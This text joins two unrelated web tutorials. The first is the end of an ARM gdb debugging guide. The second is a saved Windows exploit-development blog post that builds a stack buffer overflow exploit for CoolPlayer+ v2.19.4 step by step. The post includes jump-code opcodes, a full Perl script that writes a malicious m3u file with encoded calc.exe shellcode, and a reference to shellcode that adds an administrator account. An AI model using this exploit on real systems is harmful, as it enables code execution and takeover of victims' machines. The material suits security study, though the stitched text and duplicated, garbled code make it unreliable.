Alright, we started the program and it broke exactly where we asked it to.
This is a great time to examine the registers and the memory.  

[code]

    (gdb) **info registers**
    r0             0x1	1
    r1             0xbed9a924	3201935652
    r2             0xbed9a92c	3201935660
    r3             0x83d0	33744
    r4             0x0	0
    r5             0x0	0
    r6             0x0	0
    r7             0x0	0
    r8             0x0	0
    r9             0x0	0
    r10            0x40025000	1073893376
    r11            0xbed9a7d4	0xbed9a7d4
    r12            0xbed9a840	3201935424
    sp             0xbed9a7c8	0xbed9a7c8
    lr             0x4003b508	1073984776
    pc             0x83e4	0x83e4 
    cpsr           0x60000010	1610612752
    
[/code]

This command shows you the register state. As you can see, there are the
standard registers r0-r12, and SP, LR, and PC. You can also see the status
register CPSR printed in full. The function calling convention on ARM is that
the first four arguments to a function are stored in r0-r3. Let's verify that
this is the case.  
The function we are looking at is main\(int argc, char\* argv\[\]\). It has
two arguments argc and argv, which should be in r0 and r1 respectively. r0
should contain argc, or the number of commandline arguments given. We invoked
the program with no arguments, so the commandline arguments consist of only
the program name. argc should be 1, which is what r0 contains  
argv is trickier. It is a pointer to pointers containing strings. This is
partly confirmed by r2, which is a large hex number: 0xbed9a924. It could be a
memory location. Let's find out.  

[code]

    (gdb) **x/w 0xbed9a924**
    0xbed9a924:	0xbed9aa0d
    
[/code]

The "x/w" stands for eXamine memory/ parse as Word. Memory locations could
contain anything, so we want to parse it as a 32 bit word to start out. The
contents look a lot like the address itself. Let's see what the next few
contents hold.  

[code]

    (gdb) **x/12w 0xbed9a924**
    0xbed9a924:	0xbed9aa0d	0x00000000	0xbed9aa22	0xbed9aa32
    0xbed9a934:	0xbed9aa3d	0xbed9aa47	0xbed9af37	0xbed9af43
    0xbed9a944:	0xbed9af80	0xbed9af8f	0xbed9afa2	0xbed9afab
    
[/code]

x/12w stand for eXamine memory/show me 12 Words. As you can see, all the
contents of memory look like they are addresses. Let's see what is at the
first address: at 0xbed9aa0d  

[code]

    (gdb) **x/w 0xbed9aa0d**
    0xbed9aa0d:	0x6d6f682f
    
[/code]

Hmm, that doesn't look like an address. This should be a string, and rather
than converting the 0x6d 0x6f 0x68 ... to ascii myself, I'll let gdb help me
out.  

[code]

    (gdb) **x/s 0xbed9aa0d**
    0xbed9aa0d:	 "/home/user/ARM/hello"
    
[/code]

We are asking gdb to "eXamine memory / as String". gdb knows that C strings
are null terminated, so it helpfully walks over the successive memory
locations, interpreting each byte as ASCII, till it comes to a null
terminator. So we have verified that argv\[1\] is a pointer to a string,
containing the program name. Let's see what the next few memory addresses
hold.  

[code]

    (gdb) **x/10s 0xbed9aa0d**
    0xbed9aa0d:	 "/home/user/ARM/hello"
    0xbed9aa22:	 "SHELL=/bin/bash"
    0xbed9aa32:	 "TERM=xterm"
    0xbed9aa3d:	 "USER=user"
    0xbed9aa47:	 "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:...
    0xbed9ab0f:	 ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tl...
    0xbed9abd7:	 "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=0"...
    0xbed9ac9f:	 ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.ti...
    0xbed9ad67:	 "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=0...
    0xbed9ae2f:	 "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv...
    
[/code]

We "eXamine 10 memory locations as String", and we find that we have run past
the end of argv. We are seeing the environment variables that are specified by
the Bash shell, including the name of the shell, the username, and the colors
for the different file types. I forgot, where were we?  

[code]

    (gdb) **where**
    #0  0x000083e4 in main ()
    
[/code]

We can find out our state in the execution by asking 'where'. Though we could
just as easily have looked up the Program Counter register for this simple
program.  

[code]

    (gdb) **disassemble main**
    Dump of assembler code for function main:
       0x000083d0 <+0>:	push	{r11, lr}
       0x000083d4 <+4>:	add	r11, sp, #4
       0x000083d8 <+8>:	sub	sp, sp, #8
       0x000083dc <+12>:	str	r0, [r11, #-8]
       0x000083e0 <+16>:	str	r1, [r11, #-12]
    => 0x000083e4 <+20>:	ldr	r0, [pc, #20]	; 0x8400 
       0x000083e8 <+24>:	bl	0x82e8 
       0x000083ec <+28>:	mov	r3, #0
       0x000083f0 <+32>:	mov	r0, r3
       0x000083f4 <+36>:	sub	sp, r11, #4
       0x000083f8 <+40>:	pop	{r11, lr}
       0x000083fc <+44>:	bx	lr
       0x00008400 <+48>:	andeq	r8, r0, r8, lsl #9
    End of assembler dump.
    
[/code]

gdb shows a helpful arrow showing where we are. We can set another breakpoint
if we like. After a long debugging session, you might forget which breakpoints
you have set.  

[code]

    (gdb) **info breakpoints**
    Num     Type           Disp Enb Address    What
    1       breakpoint     keep y   0x000083e4 
    	breakpoint already hit 1 time
            info registers
    3       breakpoint     keep y   0x000083f0 
            info registers
    
[/code]

You can see all breakpoints with 'info breakpoints' and you can delete
breakpoints with 'delete x', where x is the number of the breakpoint. When
deleting breakpoints, gdb doesn't produce any output if it is successful.  

[code]

    (gdb) **delete 3**
    
[/code]

A very helpful technique when debugging for loops is to run some commands
automatically when a breakpoint is hit. This is done with the 'commands'
directive as folows.  

[code]

    (gdb) **break *0x000083ec**
    Breakpoint 4 at 0x83ec
    (gdb) **commands 4**
    Type commands for breakpoint(s) 4, one per line.
    End with a line saying just "end".
    >**info registers**
    >**end**
    (gdb) 
    
[/code]

Now, when the breakpoint is hit, gdb will automatically run the 'info
registers' command. Let's continue running this program so it can hit the next
breakpoint.  

[code]

    (gdb) **continue**
    Continuing.
    Hello World
    
    Breakpoint 4, 0x000083ec in main ()
    r0             0xc	12
    r1             0x0	0
    r2             0x40153228	1075130920
    r3             0x83d0	33744
    r4             0x0	0
    r5             0x0	0
    r6             0x0	0
    r7             0x0	0
    r8             0x0	0
    r9             0x0	0
    r10            0x40025000	1073893376
    r11            0xbed9a7d4	0xbed9a7d4
    r12            0x0	0
    sp             0xbed9a7c8	0xbed9a7c8
    lr             0x83ec	33772
    pc             0x83ec	0x83ec 
    cpsr           0x60000010	1610612752
    
[/code]

gdb ran past the puts\(\), and printed "Hello World" on the screen. It hit the
breakpoint, and automatically showed us the registers. Great. Let's finish up
by continuing.  

[code]

    (gdb) **continue**
    Continuing.
    [Inferior 1 (process 17307) exited normally]
    (gdb) **info registers**
    The program has no registers now.
    
[/code]

The program is done. We can't examine registers or memory because it isn't
running anymore.  
The full GDB documentation is available online.  
  
Links  
Now that you know how to examine registers and memory, you can write ARM
programs and verify that they do the right thing. You can break at various
locations and verify that your load store and move instructions are working as
expected.  
  
The Gnu tools are ubiquitous and mature. Once you learn how to use gdb and gcc
on ARM, you can easily use the same tricks on another platform like Intel.
Here are all the manual links again:  

  1. GCC manual
  2. Gas \(Gnu Assembler\) manual
  3. GDB manual

# Windows Exploit Development - Part 4: Locating Shellcode With Jumps -
Security SiftSecurity Sift

**Created:**| _8/19/2015 11:39:43 AM_  
---|---  
**Updated:**| _8/19/2015 11:39:43 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

### Overview

In Parts 2 and 3, we built and improved upon an exploit for ASX To MP3
converter. Even though it had it’s flaws, as far as exploits go, it was pretty
straightforward — direct EIP overwrite with a jump directly to a register that
pointed to our shellcode. Things aren’t always that easy. Quite often you have
to do a bit more work to get the application to execute to your shellcode. In
this installment of the series we’ll examine how to use jump code in your
exploits. Specifically, we’ll take a look at how to manipulate the registers
and the stack and use conditional/unconditional jumps to construct custom jump
code in order to successfully reach and execute your shellcode.

### Jumping to Shellcode

In our first exploit example, we lucked out because we had a register \(EBX\)
pointing directly to an uninterrupted portion of our shellcode which means we
only needed a single call/jmp instruction to execute it. What happens if a
register only points a relatively small portion of our buffer with the
shellcode located elsewhere? Or, what if the register point close to, but not
exactly at our buffer? Or, what if no register points to our shellcode but we
see an address on the stack that does. In these cases, we have several options
other than the standard call/jmp instructions we’ve used so far. When it comes
to jump code, I like to think of the available options in the context of:

  * Manipulating the Registers 
    * By adding to/subtracting from a register & jumping to the modified address \(add/sub \[reg\] + jmp\)
    * By finding an instruction that jumps to an offset of a register \(jmp reg + offset\)
  * Manipulating the stack 
    * By pushing an address of our choosing to the stack and issuing a return \(push + ret\)
    * By popping a series of addresses from the stack and issuing a return \(pop + ret or popad + ret\)
  * Using Unconditional and Conditional Jumps to hop to the shellcode

Let’s take a closer look…

### Manipulating the Registers

#### add \[reg\] + jmp

Even when you luck out and a register points directly to a portion of your
buffer, it may not be to a location that allows for immediate execution of
your shellcode. However, you may be able increment/decrement the address in
the register and then force the application to jump to it. To illustrate this
technique, I’ll walk through another m3u-based exploit, this time in
CoolPlayer+ v2.19.4 \(latest version at the time of this writing\). You can
download this app as well as a published version of my exploit from Exploit-
DB: http://www.exploit-db.com/exploits/29613/. Install the application in C:\
so you can follow along with the rest of this tutorial. There are two valuable
pieces of information that in my haste, I mistakenly left out of my published
exploit for CoolPlayer+. First, the exploit does in fact depend upon the
location of the resulting m3u file, just like in our previous ASX To MP3
player example. Second, in order for the exploit to work, the CoolPlayer+
executable must be run from the directory in which it is installed. That means
if you want to debug this exploit \(which we will\) you must launch
CoolPlayer+ from outside of Immunity Debugger for the first time \(double-
click the .exe located in C:\CoolPlayer+Portable\\\) and then attach to the
process within Immunity. After that initial run, you can simply use Ctrl+F2 to
restart the application within the debugger. Once you’ve installed the
application, create an an m3u file containing only a Metasploit pattern. You
can use either of the following options:

  * Kali: /usr/share/metasploit-framework/tools/pattern\_create.rb 10000 > msfpattern.m3u
  * Mona: \!mona pc 10000 \(copy the resulting output into an m3u file\).

We’re going to improve upon my published exploit so let’s start from scratch.
First launch CoolPlayer+ and attach Immunity to the running process.

<img src='img/Temp2_9693.png' width='640' height='276' alt='win_exploit_3_10'
/>

Next, place the m3u file containing the Metasploit pattern in C:\ and open it
with CoolPlayer+, at which point the application should crash and you should
see something similar to the following in Immunity:

<img src='img/Temp2_9710.png' width='640' height='581' alt='win_exploit_3_11'
/>

Notice how both EDX and EBX point to the beginning of the Metasploit pattern.
ESP also points to a portion of the pattern, but not the beginning. Let’s use
mona to determine the offsets:

<img src='img/Temp2_9688.png' width='640' height='400' alt='win_exploit_3_12'
/>

Mona tells us the EIP overwrite occurs at offset 260 \(remember from Part 2
that this is my customized version of mona so you won’t see the other offsets
listed\). It also confirms that both EBX and EDX point to the beginning of our
Metasploit pattern buffer, but EBX contains a much longer, uninterrupted
portion \(10,000 bytes vs. 512 bytes\). ESP points to a considerably smaller
portion of the buffer. In fact, if you view ESP in the dump window, you can
see exactly where it gets interrupted 248 bytes in.

<img src='img/Temp2_9682.png' width='217' height='614' alt='win_exploit_3_13'
/>

Based on this information, we’ll want to use EBX as our target register. Let’s
begin to construct our exploit by verifying successful control over EIP.

<img src='img/Temp2_9694.png' width='640' height='213' alt='win_exploit_3_14'
/>

Place the generated m3u file in C:\, relaunch CoolPlayer+ in Immunity
\(Ctrl+F2\) and open the the m3u file.

<img src='img/Temp2_9699.png' width='292' height='119' alt='win_exploit_3_15'
/>

Now that we’ve verified control over EIP, we can look for a jump or call EBX
instruction so we can redirect to our shellcode. Once again, we can do this
using mona.

\!mona find -type instr -s "call ebx"

1 | \!mona find -type instr -s "call ebx"  
---|---  
If you refer to the resulting find.txt file created by mona, you’ll see that
there is only one application module with a viable instruction. Unfortunately,
all of the associated addresses contain null bytes. Repeating the search for
“jmp ebx” yields the same results so we’re forced to use an OS module. I’ll
choose an address from kernel32.dll: 0x7c810395. We now have our “call ebx”
address but EBX points to the beginning of our buffer, not to our shellcode.
Remember, since this is a direct EIP overwrite, our exploit buffer is going to
be constructed similar to the following: JUNK \(offset to EIP\) + EIP + NOPS +
SHELLCODE + FILL. That means if we leave it as is, “call ebx” will jump back
to the beginning of our buffer into $junk and not directly to our shellcode.
For scenarios like this where the register points to the beginning of the
buffer, the ideal solution is to simply move the SHELLCODE portion to the
beginning, before the EIP overwrite. The problem here is our offset to EIP is
only 260 characters. Granted, the calc.exe shellcode we’ve been using is less
than 260 characters but what happens if you want to do more than just open up
the calculator? Instead of limiting ourselves to a small space for shellcode,
we can instead jump to the beginning of our buffer using our “CALL EBX”
instruction and then use another custom jump code sequence to hop over our EIP
overwrite and into our NOPS and shellcode. This custom jump code will actually
manipulate the EBX register by adding the desired number of bytes to its value
and then jump directly to that updated address. Conceptually, the exploit
buffer will look like this: <img src='img/Temp2_9718.png' width='640'
height='168' alt='win_exploit_3_16' />

Let’s update our exploit script with the CALL EBX instruction and then place
some interrupts at the very beginning of our buffer to confirm we can
successfully reach our custom jump code.

<img src='img/Temp2_9704.png' width='640' height='210' alt='win_exploit_3_17'
/>

Place the m3u file at C:\ and open in CoolPlayer+:

<img src='img/Temp2_9719.png' width='640' height='698' alt='win_exploit_3_18'
/>

We’ve successfully redirected to the beginning of our buffer. Now we need to
start the buffer with some jump code. Our jump code is going to do the
following: add X to EBX and then jump to the adjusted EBX where X = number of
bytes we want to jump. How much should we add to EBX? We need to account for
the offset, which is 260 bytes and EIP which is 4 bytes. We’ll also want to
preface our shellcode with some NOPS and ideally our jumpcode will land
somewhere in this NOP sled. Since we have plenty of space for shellcode after
our EIP overwrite, lets preface it with 50 NOPS. Taking into account the four
bytes used to overwrite EIP, our NOP sled will occupy bytes 265 thru 315 of
our buffer. Therefore, a custom jump of 300 should land us comfortably within
this NOP sled and flow nicely to the shellcode that follows. So, what does
this custom jump code look like? For that we can turn to another handy
Metasploit tool called metasm. In Kali, you can get to it as follows:

/usr/share/metasploit-framework/tools/metasm\_shell.rb

1 | /usr/share/metasploit-framework/tools/metasm\_shell.rb  
---|---  
This will spawn a metasm shell, where you can enter Assembly instructions and
it will return the associated opcode for your shellcode. Since we want to add
300 to EBX, lets enter the corresponding Assembly command in metasm and see
the result:

metasm &gt; add ebx, 300 "\x81\xc3\x2c\x01\x00\x00"

12 | metasm &gt; add ebx, 300"\x81\xc3\x2c\x01\x00\x00"  
---|---  
The problem with the resulting opcode is it contains NULL bytes. To avoid
this, let’s try a smaller increment of 100:

metasm &gt; add ebx, 100 "\x83\xc3\x64"

12 | metasm &gt; add ebx, 100"\x83\xc3\x64"  
---|---  
Perfect, no null bytes. In order to increment EBX by 300, we simply need to
repeat this instruction 3 times. After we increment EBX by 300, we need to
jump to it. Using metasm, get the opcode for jmp EBX as follows:

jmp ebx "\xff\xe3"

12 |  jmp ebx"\xff\xe3"  
---|---  
Our jump code is going to look as follows:

my $jmp = "\x83\xc3\x64" x 3; \# add 300 to ebx $jmp = $jmp . "\xff\xe3"; \#
jmp ebx

12 | my $jmp = "\x83\xc3\x64" x 3; \# add 300 to ebx$jmp = $jmp . "\xff\xe3"; \# jmp ebx  
---|---  
Let’s update our exploit script to verify the custom jump code successfully
redirects program execution to our shellcode.

<img src='img/Temp2_9706.png' width='640' height='268' alt='win_exploit_19' />

Referring to the above screenshot, you can see I’ve added the jump code. I’ve
also modified $junk so that it accounts for the length of the $jmp and we end
up with the proper offset \(260\) to EIP. Instead of actual NOPs, I used
Interrupts so we can see exactly where our custom jump code lands us. If all
goes as expected, we should land 300 bytes beyond our jump code within our INT
instructions. Let’s see…

<img src='img/Temp2_9715.png' width='640' height='583' alt='win_exploit_20' />

Perfect. We landed exactly where we expected. Now we could have made the NOP
buffer much smaller and landed closer to EIP, but since we have room to play
with, there’s no reason to be so exact. Let’s update our exploit script again,
replacing the INTs with actual NOPs and inserting some shell code
\(calc.exe\).

\#\!/usr/bin/perl my $buffsize = 10000; \# set consistent buffer size my $jmp = "\x83\xc3\x64" x 3; \# add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode $jmp = $jmp . "\xff\xe3"; \# jmp ebx my $junk = "\x41" x \(260 - length\($jmp\)\); \# fill remainder of start of buffer to eip overwrite at offset 260 my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump code \# no usable application module found my $nops = "\xcc" x 50; \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $sploit = $jmp.$junk.$eip.$nops.$shell; \# build sploit portion of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistency my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE, "&gt;$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
12345678910111213141516171819202122232425262728293031323334353637383940414243 | \#\!/usr/bin/perl my $buffsize = 10000; \# set consistent buffer size my $jmp = "\x83\xc3\x64" x 3; \# add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode$jmp = $jmp . "\xff\xe3"; \# jmp ebxmy $junk = "\x41" x \(260 - length\($jmp\)\); \# fill remainder of start of buffer to eip overwrite at offset 260my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump code\# no usable application module foundmy $nops = "\xcc" x 50; \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R |\# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $sploit = $jmp.$junk.$eip.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistencymy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, "&gt;$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Place the resulting m3u file in C:\ and give it a try…

<img src='img/Temp2_9691.png' width='357' height='226' alt='asx2mp3_calc' />

Success\!\! However, this exploit is still limited in that it only works when
the m3u file is opened from C:\\. Here’s a little exercise for you — see if
you can improve it by making it work from multiple save locations \(Desktop,
My Music, etc\) just like we did for the ASX To MP3 exploit. One possible
solution is posted below.

CoolPlayer+ Portable v2.19.4 BOF Exploit

coolplayer\_exploit\_demo.pl

4.3 KiB

341 Downloads

Details

#### sub \[reg\] + jmp

Instead of incrementing the value of a register, you might face a situation
where you would rather decrement its value. Say for example, at the time of
crash, EBX still points to the beginning of our buffer but only provides < 100
bytes of uninterrupted space — not enough space to host shellcode but more
than enough room for some basic jumpcode. That means we can use EBX to
redirect to the beginning of our buffer and execute some jump code that
targets another register — in this case ESP. ESP points to a portion of our
buffer \(about 280 bytes in total from the beginning of our buffer\). The
problem is, at the time of crash and EIP overwrite, ESP points to the middle
of the buffer rather than the beginning and without adjusting ESP, we don’t
have enough room from that point forward to host our shellcode. To solve this
problem, we can rearrange our buffer to place the shellcode at the beginning,
decrement ESP by the appropriate value and jump to ESP to execute the
shellcode. Let’s re-visit our CoolPlayer+ exploit and make the necessary
adjustments. Here’s a look at the stack at the time of crash \(using msf
pattern\) so you can visualize the space we have to work with for our new
buffer.

<img src='img/Temp2_9716.png' width='209' height='502' alt='win_exploit_3_32'
/>

We need to decrement ESP by about 240 bytes. Once again, use metasm to get the
corresponding opcode:

metasm &gt; sub esp, 100 "\x83\xec\x64" metasm &gt; sub esp, 40 "\x83\xec\x28"
metasm &gt; jmp esp "\xff\xe4"

123456 | metasm &gt; sub esp, 100"\x83\xec\x64"metasm &gt; sub esp, 40"\x83\xec\x28"metasm &gt; jmp esp"\xff\xe4"  
---|---  
Here’s the updated Perl script:

<img src='img/Temp2_9717.png' width='640' height='522' alt='win_exploit_3_33'
/>

Note the following changes:

  * Jump code now decrements ESP by 240
  * Shellcode moved to beginning of buffer \(after jump code\)
  * Junk portion of buffer no longer required \(NOPs fill any remaining space to offset of 260\)

You can see the stack now at the time of execution \(call EBX replaced by \xcc
INT instructions for demo purposes\).

<img src='img/Temp2_9692.png' width='207' height='502'
alt='win_exploit_3_34.png' />

This space is just enough for our calc shellcode to execute nicely.

<img src='img/Temp2_9691.png' width='357' height='226' alt='asx2mp3_calc' />

#### jmp \[reg + offset\]

Instead of directly incrementing the register with custom jump code, you can
let the application do the work for you by finding an existing instruction
that jumps to the desired register plus an offset of its value. I’ll briefly
demo this technique using our CoolPlayer exploit as an example. Let’s say that
EDX was the one and only register that came anywhere close to pointing to our
buffer, but unfortunately it points to a location about 50 characters before
it \(not the case here, but we’ll pretend for this example\). In order for us
to use EDX, we would therefore need to increment it at least 50 bytes to reach
our injected code. We can use a jmp\[edx + X\] instruction \(where X
represents a number greater than 50\) to accomplish this. For example, let’s
search for a jmp \[edx + 64\] instruction.

<img src='img/Temp2_9709.png' width='342' height='368' alt='win_exploit_3_35'
/>

<img src='img/Temp2_9720.png' width='347' height='125' alt='win_exploit_3_37'
/>

Here is a screenshot of a few of the results from OS modules.

<img src='img/Temp2_9703.png' width='640' height='100' alt='win_exploit_3_36'
/>

You could then use one of these addresses as the new EIP overwrite. Of course,
you’re not limited to a 64 byte increment — you may need more or less. You’re
only limited by the usable instructions you can find in the available DLLs.
Unfortunately, incrementing EDX in this case results in an access violation so
I couldn’t find a usable address for this particular exploit \(though I only
tried a couple\). Regardless, you should keep this in mind as a possible
method for jumping to your shellcode in future exploits.

### Manipulating the Stack

#### push \[reg\] + ret

The first method of manipulating the stack is the simplest to understand since
it’s the same concept as issuing a jump or call instruction. Let’s revisit the
original version of our exploit that used CALL EBX for the EIP overwrite but
let’s assume that we could not find any usable JMP or CALL EBX instructions.
Alternatively we could search for a PUSH EBX + RET set of instructions. This
would effectively push EBX to the top of the stack and then immediately jump
to that address. This time you’ll search for “All sequences in all modules” to
find a usable push ebx + ret instruction.

<img src='img/Temp2_9713.png' width='274' height='294' alt='win_exploit_3_38'
/>

<img src='img/Temp2_9696.png' width='255' height='160' alt='win_exploit_3_39'
/>

This returns a few usable results, including one from shell32.dll which we’ll
use for this example.

<img src='img/Temp2_9702.png' width='640' height='95' alt='win_exploit_3_40'
/>

If you want to verify that this address does in fact point to a push ebx + ret
instruction, simply double click it and you’ll be taken to that address within
the Assembly instruction window.

<img src='img/Temp2_9705.png' width='503' height='150' alt='win_exploit_3_41'
/>

The only thing you’ll have to update from the original exploit script is the
value of $eip.

<img src='img/Temp2_9680.png' width='576' height='101' alt='win_exploit_3_42'
/>

Opening the updated m3u file in CoolPlayer+…

<img src='img/Temp2_9691.png' width='357' height='226' alt='asx2mp3_calc' />

#### pop + ret

Sometimes you aren’t lucky enough to have a register that points directly to
any portion of your exploit buffer, but you may be able to manipulate the
stack to redirect execution flow to your desired location if:

  1. There is an address near the top of the stack that points to your buffer or
  2. ESP + N points to your buffer \(where N is the number of bytes past current ESP \(4, 8, 12, etc\)\).

Let’s once again use CoolPlayer+ as an example. To simulate this scenario I’ve
created the following exploit script:

<img src='img/Temp2_9681.png' width='640' height='291' alt='win_exploit_3_22'
/>

When you open the resulting m3u file in CoolPlayer+ \(from the root of C:\\\),
you should see the following in Immunity:

<img src='img/Temp2_9701.png' width='470' height='472' alt='win_exploit_3_28'
/>

What I’ve done is simulated junk characters with the letter ‘J’ to illustrate
that none of our registers point to anything immediately useful. Take a look
at ESP and the current stack. You can see that the first three entries on the
stack contain junk but immediately following is an address of interest that
points to our buffer \(7C86467B\) — it’s actually a JMP ESP instruction that I
strategically placed at this location to simulate our desired return value.
Remember there are two possible scenarios here: 1\) either the address already
happens to exist on the stack and you need to redirect the flow to it or 2\)
ESP + X points to your buffer in which case you can strategically place an
address within your buffer so when ESP + X is called, it will redirect to the
address of your choosing. If we can instruct the program to issue a pop pop
pop ret, it will pop the first three addresses off of the stack and execute
the instructions found at the very next address, redirecting the flow to ESP
which currently points directly at our NOPs/shellcode. You can use Immunity to
find this pop pop pop ret instruction. To do so, relaunch CoolPlayer+
\(Ctrl+F2\), hit F9 to run the program, right-click in the populated CPU
Instruction window and click “Search For … All sequences in all modules”.

<img src='img/Temp2_9687.png' width='640' height='630' alt='win_exploit_3_24'
/>

In the resulting text box, you’ll need to enter the pop pop pop ret
instruction sequence you want to find. In order to do this you need to know
which registers to use. When you’re only looking for a single pop ret, it’s
easy \(pop eax ret or pop ebx ret, etc\) but finding a usable series of three
pop instructions can involve a bit of guesswork. Certain sequences tend to be
used more than others, such as pop ebi, pop esi, pop ebx, but it’s all
dependent upon the loaded modules.

<img src='img/Temp2_9690.png' width='317' height='191' alt='win_exploit_3_25'
/>

A portion of the results follow:

<img src='img/Temp2_9697.png' width='640' height='218' alt='win_exploit_3_26'
/>

I’ve chosen the first ntdll address \(0x7C924961\) which I’ll use as the EIP
overwrite. If you double-click that address you can verify that it does in
fact point to our desired pop pop pop ret sequence.

<img src='img/Temp2_9685.png' width='325' height='107' alt='win_exploit_3_27'
/>

Let’s update the script, replacing our current EIP overwrite of BBBB with this
address and rerun the exploit to verify we reach our shellcode placeholder.

<img src='img/Temp2_9684.png' width='640' height='520' alt='win_exploit_3_29'
/>

Nice. As you can see, we’ve successfully used the pop pop pop ret sequence to
reach our shellcode. Now we just need to replace our INT instructions with
some actual shellcode and make sure it executes. Because I used ESP in this
example we are limited in the amount of space we have for shellcode so instead
of using the calc.exe shellcode we have been using thus far, I’m going to use
something a bit smaller found here: http://www.exploit-db.com/exploits/15202/.
Instead of launching the calculator, this shellcode adds an administrator
user. I’ve modified the original shellcode to change the username and password
to r00t and pwnd respectively. Here is the final version of this demo script:

\#\!/usr/bin/perl
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow
Shellcode Jump Demo \# Date: 12-24-2013 \# Author: Mike Czumak \(T\_v3rn1x\)
-- @SecuritySift \# Vulnerable Software: CoolPlayer+ Portable v2.19.4 \#
Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable
\# Tested On: Windows XP SP3 \# Based on original POC exploit:
http://www.exploit-db.com/exploits/4839/ \# Details: Demo of jumping to
shellcode via pop/ret sequence to stack address
